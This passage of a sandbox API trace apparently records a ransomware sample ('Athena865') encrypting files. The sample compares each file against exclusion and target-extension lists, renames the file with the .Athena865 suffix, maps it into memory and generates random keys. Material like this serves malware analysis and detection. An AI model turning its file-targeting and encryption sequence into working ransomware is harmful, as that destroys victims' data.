hHeap=0x4f0000) returned 1 [0127.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0127.783] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0127.783] CloseHandle (hObject=0x154) returned 1 [0127.784] CloseHandle (hObject=0x17c) returned 1 [0127.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0127.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0127.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0127.784] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5398, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0200383.WMF", cAlternateFileName="")) returned 1 [0127.784] lstrcmpiW (lpString1="J0200383.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0127.784] lstrcmpiW (lpString1="J0200383.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0127.784] lstrcmpiW (lpString1="J0200383.WMF", lpString2=".") returned 1 [0127.784] lstrcmpiW (lpString1="J0200383.WMF", lpString2="..") returned 1 [0127.784] lstrcmpiW (lpString1="J0200383.WMF", lpString2="windows") returned -1 [0127.784] lstrcmpiW (lpString1="J0200383.WMF", lpString2="bootmgr") returned 1 [0127.784] lstrcmpiW (lpString1="J0200383.WMF", lpString2="temp") returned -1 [0127.784] lstrcmpiW (lpString1="J0200383.WMF", lpString2="pagefile.sys") returned -1 [0127.784] lstrcmpiW (lpString1="J0200383.WMF", lpString2="boot") returned 1 [0127.784] lstrcmpiW (lpString1="J0200383.WMF", lpString2="ids.txt") returned 1 [0127.784] lstrcmpiW (lpString1="J0200383.WMF", lpString2="ntuser.dat") returned -1 [0127.784] lstrcmpiW (lpString1="J0200383.WMF", lpString2="perflogs") returned -1 [0127.784] lstrcmpiW (lpString1="J0200383.WMF", lpString2="MSBuild") returned -1 [0127.785] lstrlenW (lpString="J0200383.WMF") returned 12 [0127.785] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0200383.WMF" | out: lpString1="J0200383.WMF") returned="J0200383.WMF" [0127.785] lstrlenW (lpString="J0200383.WMF") returned 12 [0127.785] lstrlenW (lpString="Athena865") returned 9 [0127.785] lstrcmpiW (lpString1="00383.WMF", lpString2="Athena865") returned -1 [0127.785] lstrlenW (lpString=".dll") returned 4 [0127.785] lstrcmpiW (lpString1="J0200383.WMF", lpString2=".dll") returned 1 [0127.785] lstrlenW (lpString=".lnk") returned 4 [0127.785] lstrcmpiW (lpString1="J0200383.WMF", lpString2=".lnk") returned 1 [0127.785] lstrlenW (lpString=".ini") returned 4 [0127.785] lstrcmpiW (lpString1="J0200383.WMF", lpString2=".ini") returned 1 [0127.785] lstrlenW (lpString=".sys") returned 4 [0127.785] lstrcmpiW (lpString1="J0200383.WMF", lpString2=".sys") returned 1 [0127.785] lstrlenW (lpString="J0200383.WMF") returned 12 [0127.785] lstrlenW (lpString="bak") returned 3 [0127.785] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0127.785] lstrlenW (lpString="ba_") returned 3 [0127.785] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0127.785] lstrlenW (lpString="dbb") returned 3 [0127.785] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0127.785] lstrlenW (lpString="vmdk") returned 4 [0127.785] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0127.785] lstrlenW (lpString="rar") returned 3 [0127.785] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0127.785] lstrlenW (lpString="zip") returned 3 [0127.785] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0127.786] lstrlenW (lpString="tgz") returned 3 [0127.786] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0127.786] lstrlenW (lpString="vbox") returned 4 [0127.786] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0127.786] lstrlenW (lpString="vdi") returned 3 [0127.786] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0127.786] lstrlenW (lpString="vhd") returned 3 [0127.786] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0127.786] lstrlenW (lpString="vhdx") returned 4 [0127.786] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0127.786] lstrlenW (lpString="avhd") returned 4 [0127.786] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0127.786] lstrlenW (lpString="db") returned 2 [0127.786] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0127.786] lstrlenW (lpString="db2") returned 3 [0127.786] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0127.786] lstrlenW (lpString="db3") returned 3 [0127.786] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0127.786] lstrlenW (lpString="dbf") returned 3 [0127.786] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0127.786] lstrlenW (lpString="mdf") returned 3 [0127.786] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0127.786] lstrlenW (lpString="mdb") returned 3 [0127.786] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0127.786] lstrlenW (lpString="sql") returned 3 [0127.786] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0127.786] lstrlenW (lpString="sqlite") returned 6 [0127.787] lstrcmpiW (lpString1="83.WMF", lpString2="sqlite") returned -1 [0127.787] lstrlenW (lpString="sqlite3") returned 7 [0127.787] lstrcmpiW (lpString1="383.WMF", lpString2="sqlite3") returned -1 [0127.787] lstrlenW (lpString="sqlitedb") returned 8 [0127.787] lstrcmpiW (lpString1="0383.WMF", lpString2="sqlitedb") returned -1 [0127.787] lstrlenW (lpString="xml") returned 3 [0127.787] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0127.787] lstrlenW (lpString="$er") returned 3 [0127.787] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0127.787] lstrlenW (lpString="4dd") returned 3 [0127.787] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0127.787] lstrlenW (lpString="4dl") returned 3 [0127.787] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0127.787] lstrlenW (lpString="^^^") returned 3 [0127.787] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0127.787] lstrlenW (lpString="abs") returned 3 [0127.787] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0127.787] lstrlenW (lpString="abx") returned 3 [0127.787] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0127.787] lstrlenW (lpString="accdb") returned 5 [0127.787] lstrcmpiW (lpString1="3.WMF", lpString2="accdb") returned -1 [0127.787] lstrlenW (lpString="accdc") returned 5 [0127.787] lstrcmpiW (lpString1="3.WMF", lpString2="accdc") returned -1 [0127.787] lstrlenW (lpString="accde") returned 5 [0127.787] lstrcmpiW (lpString1="3.WMF", lpString2="accde") returned -1 [0127.787] lstrlenW (lpString="accdr") returned 5 [0127.787] lstrcmpiW (lpString1="3.WMF", lpString2="accdr") returned -1 [0127.787] lstrlenW (lpString="accdt") returned 5 [0127.788] lstrcmpiW (lpString1="3.WMF", lpString2="accdt") returned -1 [0127.788] lstrlenW (lpString="accdw") returned 5 [0127.788] lstrcmpiW (lpString1="3.WMF", lpString2="accdw") returned -1 [0127.788] lstrlenW (lpString="accft") returned 5 [0127.788] lstrcmpiW (lpString1="3.WMF", lpString2="accft") returned -1 [0127.788] lstrlenW (lpString="adb") returned 3 [0127.788] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0127.788] lstrlenW (lpString="adb") returned 3 [0127.788] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0127.788] lstrlenW (lpString="ade") returned 3 [0127.788] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0127.788] lstrlenW (lpString="adf") returned 3 [0127.788] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0127.788] lstrlenW (lpString="adn") returned 3 [0127.788] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0127.788] lstrlenW (lpString="adp") returned 3 [0127.788] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0127.788] lstrlenW (lpString="alf") returned 3 [0127.788] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0127.788] lstrlenW (lpString="ask") returned 3 [0127.788] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0127.788] lstrlenW (lpString="btr") returned 3 [0127.788] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0127.788] lstrlenW (lpString="cat") returned 3 [0127.788] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0127.788] lstrlenW (lpString="cdb") returned 3 [0127.788] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0127.789] lstrlenW (lpString="ckp") returned 3 [0127.789] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0127.789] lstrlenW (lpString="cma") returned 3 [0127.789] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0127.789] lstrlenW (lpString="cpd") returned 3 [0127.789] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0127.789] lstrlenW (lpString="dacpac") returned 6 [0127.789] lstrcmpiW (lpString1="83.WMF", lpString2="dacpac") returned -1 [0127.789] lstrlenW (lpString="dad") returned 3 [0127.789] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0127.789] lstrlenW (lpString="dadiagrams") returned 10 [0127.789] lstrcmpiW (lpString1="200383.WMF", lpString2="dadiagrams") returned -1 [0127.789] lstrlenW (lpString="daschema") returned 8 [0127.789] lstrcmpiW (lpString1="0383.WMF", lpString2="daschema") returned -1 [0127.789] lstrlenW (lpString="db-journal") returned 10 [0127.789] lstrcmpiW (lpString1="200383.WMF", lpString2="db-journal") returned -1 [0127.789] lstrlenW (lpString="db-shm") returned 6 [0127.789] lstrcmpiW (lpString1="83.WMF", lpString2="db-shm") returned -1 [0127.789] lstrlenW (lpString="db-wal") returned 6 [0127.789] lstrcmpiW (lpString1="83.WMF", lpString2="db-wal") returned -1 [0127.789] lstrlenW (lpString="dbc") returned 3 [0127.789] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0127.789] lstrlenW (lpString="dbs") returned 3 [0127.789] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0127.789] lstrlenW (lpString="dbt") returned 3 [0127.789] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0127.789] lstrlenW (lpString="dbv") returned 3 [0127.789] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0127.790] lstrlenW (lpString="dbx") returned 3 [0127.790] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0127.790] lstrlenW (lpString="dcb") returned 3 [0127.790] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0127.790] lstrlenW (lpString="dct") returned 3 [0127.790] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0127.790] lstrlenW (lpString="dcx") returned 3 [0127.790] lstrcmpiW (lpString1="WMF", lpString2="dcx") returned 1 [0127.790] lstrlenW (lpString="ddl") returned 3 [0127.790] lstrcmpiW (lpString1="WMF", lpString2="ddl") returned 1 [0127.790] lstrlenW (lpString="dlis") returned 4 [0127.790] lstrcmpiW (lpString1=".WMF", lpString2="dlis") returned -1 [0127.790] lstrlenW (lpString="dp1") returned 3 [0127.790] lstrcmpiW (lpString1="WMF", lpString2="dp1") returned 1 [0127.790] lstrlenW (lpString="dqy") returned 3 [0127.790] lstrcmpiW (lpString1="WMF", lpString2="dqy") returned 1 [0127.790] lstrlenW (lpString="dsk") returned 3 [0127.790] lstrcmpiW (lpString1="WMF", lpString2="dsk") returned 1 [0127.790] lstrlenW (lpString="dsn") returned 3 [0127.790] lstrcmpiW (lpString1="WMF", lpString2="dsn") returned 1 [0127.790] lstrlenW (lpString="dtsx") returned 4 [0127.790] lstrcmpiW (lpString1=".WMF", lpString2="dtsx") returned -1 [0127.790] lstrlenW (lpString="dxl") returned 3 [0127.790] lstrcmpiW (lpString1="WMF", lpString2="dxl") returned 1 [0127.790] lstrlenW (lpString="eco") returned 3 [0127.790] lstrcmpiW (lpString1="WMF", lpString2="eco") returned 1 [0127.790] lstrlenW (lpString="ecx") returned 3 [0127.791] lstrcmpiW (lpString1="WMF", lpString2="ecx") returned 1 [0127.791] lstrlenW (lpString="edb") returned 3 [0127.791] lstrcmpiW (lpString1="WMF", lpString2="edb") returned 1 [0127.791] lstrlenW (lpString="epim") returned 4 [0127.791] lstrcmpiW (lpString1=".WMF", lpString2="epim") returned -1 [0127.791] lstrlenW (lpString="fcd") returned 3 [0127.791] lstrcmpiW (lpString1="WMF", lpString2="fcd") returned 1 [0127.791] lstrlenW (lpString="fdb") returned 3 [0127.791] lstrcmpiW (lpString1="WMF", lpString2="fdb") returned 1 [0127.791] lstrlenW (lpString="fic") returned 3 [0127.791] lstrcmpiW (lpString1="WMF", lpString2="fic") returned 1 [0127.791] lstrlenW (lpString="flexolibrary") returned 12 [0127.791] lstrlenW (lpString="fm5") returned 3 [0127.791] lstrcmpiW (lpString1="WMF", lpString2="fm5") returned 1 [0127.791] lstrlenW (lpString="fmp") returned 3 [0127.791] lstrcmpiW (lpString1="WMF", lpString2="fmp") returned 1 [0127.791] lstrlenW (lpString="fmp12") returned 5 [0127.791] lstrcmpiW (lpString1="3.WMF", lpString2="fmp12") returned -1 [0127.791] lstrlenW (lpString="fmpsl") returned 5 [0127.791] lstrcmpiW (lpString1="3.WMF", lpString2="fmpsl") returned -1 [0127.791] lstrlenW (lpString="fol") returned 3 [0127.791] lstrcmpiW (lpString1="WMF", lpString2="fol") returned 1 [0127.791] lstrlenW (lpString="fp3") returned 3 [0127.791] lstrcmpiW (lpString1="WMF", lpString2="fp3") returned 1 [0127.791] lstrlenW (lpString="fp4") returned 3 [0127.791] lstrcmpiW (lpString1="WMF", lpString2="fp4") returned 1 [0127.791] lstrlenW (lpString="fp5") returned 3 [0127.792] lstrcmpiW (lpString1="WMF", lpString2="fp5") returned 1 [0127.792] lstrlenW (lpString="fp7") returned 3 [0127.792] lstrcmpiW (lpString1="WMF", lpString2="fp7") returned 1 [0127.792] lstrlenW (lpString="fpt") returned 3 [0127.792] lstrcmpiW (lpString1="WMF", lpString2="fpt") returned 1 [0127.792] lstrlenW (lpString="frm") returned 3 [0127.792] lstrcmpiW (lpString1="WMF", lpString2="frm") returned 1 [0127.792] lstrlenW (lpString="gdb") returned 3 [0127.792] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0127.792] lstrlenW (lpString="gdb") returned 3 [0127.792] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0127.792] lstrlenW (lpString="grdb") returned 4 [0127.792] lstrcmpiW (lpString1=".WMF", lpString2="grdb") returned -1 [0127.792] lstrlenW (lpString="gwi") returned 3 [0127.792] lstrcmpiW (lpString1="WMF", lpString2="gwi") returned 1 [0127.792] lstrlenW (lpString="hdb") returned 3 [0127.792] lstrcmpiW (lpString1="WMF", lpString2="hdb") returned 1 [0127.792] lstrlenW (lpString="his") returned 3 [0127.792] lstrcmpiW (lpString1="WMF", lpString2="his") returned 1 [0127.792] lstrlenW (lpString="ib") returned 2 [0127.792] lstrcmpiW (lpString1="MF", lpString2="ib") returned 1 [0127.792] lstrlenW (lpString="idb") returned 3 [0127.792] lstrcmpiW (lpString1="WMF", lpString2="idb") returned 1 [0127.792] lstrlenW (lpString="ihx") returned 3 [0127.792] lstrcmpiW (lpString1="WMF", lpString2="ihx") returned 1 [0127.792] lstrlenW (lpString="itdb") returned 4 [0127.792] lstrcmpiW (lpString1=".WMF", lpString2="itdb") returned -1 [0127.792] lstrlenW (lpString="itw") returned 3 [0127.793] lstrcmpiW (lpString1="WMF", lpString2="itw") returned 1 [0127.793] lstrlenW (lpString="jet") returned 3 [0127.793] lstrcmpiW (lpString1="WMF", lpString2="jet") returned 1 [0127.793] lstrlenW (lpString="jtx") returned 3 [0127.793] lstrcmpiW (lpString1="WMF", lpString2="jtx") returned 1 [0127.793] lstrlenW (lpString="kdb") returned 3 [0127.793] lstrcmpiW (lpString1="WMF", lpString2="kdb") returned 1 [0127.793] lstrlenW (lpString="kexi") returned 4 [0127.793] lstrcmpiW (lpString1=".WMF", lpString2="kexi") returned -1 [0127.793] lstrlenW (lpString="kexic") returned 5 [0127.793] lstrcmpiW (lpString1="3.WMF", lpString2="kexic") returned -1 [0127.793] lstrlenW (lpString="kexis") returned 5 [0127.793] lstrcmpiW (lpString1="3.WMF", lpString2="kexis") returned -1 [0127.793] lstrlenW (lpString="lgc") returned 3 [0127.793] lstrcmpiW (lpString1="WMF", lpString2="lgc") returned 1 [0127.793] lstrlenW (lpString="lwx") returned 3 [0127.793] lstrcmpiW (lpString1="WMF", lpString2="lwx") returned 1 [0127.793] lstrlenW (lpString="maf") returned 3 [0127.793] lstrcmpiW (lpString1="WMF", lpString2="maf") returned 1 [0127.793] lstrlenW (lpString="maq") returned 3 [0127.793] lstrcmpiW (lpString1="WMF", lpString2="maq") returned 1 [0127.793] lstrlenW (lpString="mar") returned 3 [0127.793] lstrcmpiW (lpString1="WMF", lpString2="mar") returned 1 [0127.793] lstrlenW (lpString="marshal") returned 7 [0127.793] lstrcmpiW (lpString1="383.WMF", lpString2="marshal") returned -1 [0127.793] lstrlenW (lpString="mas") returned 3 [0127.793] lstrcmpiW (lpString1="WMF", lpString2="mas") returned 1 [0127.793] lstrlenW (lpString="mav") returned 3 [0127.794] lstrcmpiW (lpString1="WMF", lpString2="mav") returned 1 [0127.794] lstrlenW (lpString="maw") returned 3 [0127.794] lstrcmpiW (lpString1="WMF", lpString2="maw") returned 1 [0127.794] lstrlenW (lpString="mdbhtml") returned 7 [0127.794] lstrcmpiW (lpString1="383.WMF", lpString2="mdbhtml") returned -1 [0127.794] lstrlenW (lpString="mdn") returned 3 [0127.794] lstrcmpiW (lpString1="WMF", lpString2="mdn") returned 1 [0127.794] lstrlenW (lpString="mdt") returned 3 [0127.794] lstrcmpiW (lpString1="WMF", lpString2="mdt") returned 1 [0127.794] lstrlenW (lpString="mfd") returned 3 [0127.794] lstrcmpiW (lpString1="WMF", lpString2="mfd") returned 1 [0127.794] lstrlenW (lpString="mpd") returned 3 [0127.794] lstrcmpiW (lpString1="WMF", lpString2="mpd") returned 1 [0127.794] lstrlenW (lpString="mrg") returned 3 [0127.794] lstrcmpiW (lpString1="WMF", lpString2="mrg") returned 1 [0127.794] lstrlenW (lpString="mud") returned 3 [0127.794] lstrcmpiW (lpString1="WMF", lpString2="mud") returned 1 [0127.794] lstrlenW (lpString="mwb") returned 3 [0127.794] lstrcmpiW (lpString1="WMF", lpString2="mwb") returned 1 [0127.794] lstrlenW (lpString="myd") returned 3 [0127.794] lstrcmpiW (lpString1="WMF", lpString2="myd") returned 1 [0127.794] lstrlenW (lpString="ndf") returned 3 [0127.794] lstrcmpiW (lpString1="WMF", lpString2="ndf") returned 1 [0127.794] lstrlenW (lpString="nnt") returned 3 [0127.794] lstrcmpiW (lpString1="WMF", lpString2="nnt") returned 1 [0127.794] lstrlenW (lpString="nrmlib") returned 6 [0127.794] lstrcmpiW (lpString1="83.WMF", lpString2="nrmlib") returned -1 [0127.795] lstrlenW (lpString="ns2") returned 3 [0127.795] lstrcmpiW (lpString1="WMF", lpString2="ns2") returned 1 [0127.795] lstrlenW (lpString="ns3") returned 3 [0127.795] lstrcmpiW (lpString1="WMF", lpString2="ns3") returned 1 [0127.795] lstrlenW (lpString="ns4") returned 3 [0127.795] lstrcmpiW (lpString1="WMF", lpString2="ns4") returned 1 [0127.795] lstrlenW (lpString="nsf") returned 3 [0127.795] lstrcmpiW (lpString1="WMF", lpString2="nsf") returned 1 [0127.795] lstrlenW (lpString="nv") returned 2 [0127.795] lstrcmpiW (lpString1="MF", lpString2="nv") returned -1 [0127.795] lstrlenW (lpString="nv2") returned 3 [0127.795] lstrcmpiW (lpString1="WMF", lpString2="nv2") returned 1 [0127.795] lstrlenW (lpString="nwdb") returned 4 [0127.795] lstrcmpiW (lpString1=".WMF", lpString2="nwdb") returned -1 [0127.795] lstrlenW (lpString="nyf") returned 3 [0127.795] lstrcmpiW (lpString1="WMF", lpString2="nyf") returned 1 [0127.795] lstrlenW (lpString="odb") returned 3 [0127.795] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0127.795] lstrlenW (lpString="odb") returned 3 [0127.795] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0127.795] lstrlenW (lpString="oqy") returned 3 [0127.795] lstrcmpiW (lpString1="WMF", lpString2="oqy") returned 1 [0127.795] lstrlenW (lpString="ora") returned 3 [0127.795] lstrcmpiW (lpString1="WMF", lpString2="ora") returned 1 [0127.795] lstrlenW (lpString="orx") returned 3 [0127.795] lstrcmpiW (lpString1="WMF", lpString2="orx") returned 1 [0127.795] lstrlenW (lpString="owc") returned 3 [0127.795] lstrcmpiW (lpString1="WMF", lpString2="owc") returned 1 [0127.796] lstrlenW (lpString="p96") returned 3 [0127.796] lstrcmpiW (lpString1="WMF", lpString2="p96") returned 1 [0127.796] lstrlenW (lpString="p97") returned 3 [0127.796] lstrcmpiW (lpString1="WMF", lpString2="p97") returned 1 [0127.796] lstrlenW (lpString="pan") returned 3 [0127.796] lstrcmpiW (lpString1="WMF", lpString2="pan") returned 1 [0127.796] lstrlenW (lpString="pdb") returned 3 [0127.796] lstrcmpiW (lpString1="WMF", lpString2="pdb") returned 1 [0127.796] lstrlenW (lpString="pdm") returned 3 [0127.796] lstrcmpiW (lpString1="WMF", lpString2="pdm") returned 1 [0127.796] lstrlenW (lpString="pnz") returned 3 [0127.796] lstrcmpiW (lpString1="WMF", lpString2="pnz") returned 1 [0127.796] lstrlenW (lpString="qry") returned 3 [0127.796] lstrcmpiW (lpString1="WMF", lpString2="qry") returned 1 [0127.796] lstrlenW (lpString="qvd") returned 3 [0127.796] lstrcmpiW (lpString1="WMF", lpString2="qvd") returned 1 [0127.796] lstrlenW (lpString="rbf") returned 3 [0127.796] lstrcmpiW (lpString1="WMF", lpString2="rbf") returned 1 [0127.796] lstrlenW (lpString="rctd") returned 4 [0127.796] lstrcmpiW (lpString1=".WMF", lpString2="rctd") returned -1 [0127.796] lstrlenW (lpString="rod") returned 3 [0127.796] lstrcmpiW (lpString1="WMF", lpString2="rod") returned 1 [0127.796] lstrlenW (lpString="rodx") returned 4 [0127.796] lstrcmpiW (lpString1=".WMF", lpString2="rodx") returned -1 [0127.796] lstrlenW (lpString="rpd") returned 3 [0127.796] lstrcmpiW (lpString1="WMF", lpString2="rpd") returned 1 [0127.796] lstrlenW (lpString="rsd") returned 3 [0127.796] lstrcmpiW (lpString1="WMF", lpString2="rsd") returned 1 [0127.797] lstrlenW (lpString="sas7bdat") returned 8 [0127.797] lstrcmpiW (lpString1="0383.WMF", lpString2="sas7bdat") returned -1 [0127.797] lstrlenW (lpString="sbf") returned 3 [0127.797] lstrcmpiW (lpString1="WMF", lpString2="sbf") returned 1 [0127.797] lstrlenW (lpString="scx") returned 3 [0127.797] lstrcmpiW (lpString1="WMF", lpString2="scx") returned 1 [0127.797] lstrlenW (lpString="sdb") returned 3 [0127.797] lstrcmpiW (lpString1="WMF", lpString2="sdb") returned 1 [0127.797] lstrlenW (lpString="sdc") returned 3 [0127.797] lstrcmpiW (lpString1="WMF", lpString2="sdc") returned 1 [0127.797] lstrlenW (lpString="sdf") returned 3 [0127.797] lstrcmpiW (lpString1="WMF", lpString2="sdf") returned 1 [0127.797] lstrlenW (lpString="sis") returned 3 [0127.797] lstrcmpiW (lpString1="WMF", lpString2="sis") returned 1 [0127.797] lstrlenW (lpString="spq") returned 3 [0127.797] lstrcmpiW (lpString1="WMF", lpString2="spq") returned 1 [0127.797] lstrlenW (lpString="te") returned 2 [0127.797] lstrcmpiW (lpString1="MF", lpString2="te") returned -1 [0127.797] lstrlenW (lpString="teacher") returned 7 [0127.797] lstrcmpiW (lpString1="383.WMF", lpString2="teacher") returned -1 [0127.797] lstrlenW (lpString="tmd") returned 3 [0127.797] lstrcmpiW (lpString1="WMF", lpString2="tmd") returned 1 [0127.797] lstrlenW (lpString="tps") returned 3 [0127.797] lstrcmpiW (lpString1="WMF", lpString2="tps") returned 1 [0127.797] lstrlenW (lpString="trc") returned 3 [0127.797] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0127.797] lstrlenW (lpString="trc") returned 3 [0127.797] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0127.798] lstrlenW (lpString="trm") returned 3 [0127.798] lstrcmpiW (lpString1="WMF", lpString2="trm") returned 1 [0127.798] lstrlenW (lpString="udb") returned 3 [0127.798] lstrcmpiW (lpString1="WMF", lpString2="udb") returned 1 [0127.798] lstrlenW (lpString="udl") returned 3 [0127.798] lstrcmpiW (lpString1="WMF", lpString2="udl") returned 1 [0127.798] lstrlenW (lpString="usr") returned 3 [0127.798] lstrcmpiW (lpString1="WMF", lpString2="usr") returned 1 [0127.798] lstrlenW (lpString="v12") returned 3 [0127.798] lstrcmpiW (lpString1="WMF", lpString2="v12") returned 1 [0127.798] lstrlenW (lpString="vis") returned 3 [0127.798] lstrcmpiW (lpString1="WMF", lpString2="vis") returned 1 [0127.798] lstrlenW (lpString="vpd") returned 3 [0127.798] lstrcmpiW (lpString1="WMF", lpString2="vpd") returned 1 [0127.798] lstrlenW (lpString="vvv") returned 3 [0127.798] lstrcmpiW (lpString1="WMF", lpString2="vvv") returned 1 [0127.798] lstrlenW (lpString="wdb") returned 3 [0127.798] lstrcmpiW (lpString1="WMF", lpString2="wdb") returned 1 [0127.798] lstrlenW (lpString="wmdb") returned 4 [0127.798] lstrcmpiW (lpString1=".WMF", lpString2="wmdb") returned -1 [0127.798] lstrlenW (lpString="wrk") returned 3 [0127.798] lstrcmpiW (lpString1="WMF", lpString2="wrk") returned -1 [0127.798] lstrlenW (lpString="xdb") returned 3 [0127.798] lstrcmpiW (lpString1="WMF", lpString2="xdb") returned -1 [0127.798] lstrlenW (lpString="xld") returned 3 [0127.798] lstrcmpiW (lpString1="WMF", lpString2="xld") returned -1 [0127.798] lstrlenW (lpString="xmlff") returned 5 [0127.799] lstrcmpiW (lpString1="3.WMF", lpString2="xmlff") returned -1 [0127.799] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF.Athena865") returned 73 [0127.799] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200383.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200383.wmf.athena865"), dwFlags=0x1) returned 1 [0127.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200383.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.800] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=21400) returned 1 [0127.800] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.800] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.800] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.800] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0127.801] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0127.801] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0127.801] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x56a0, lpName=0x0) returned 0x154 [0127.803] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x56a0) returned 0x100000 [0127.808] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0127.812] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: 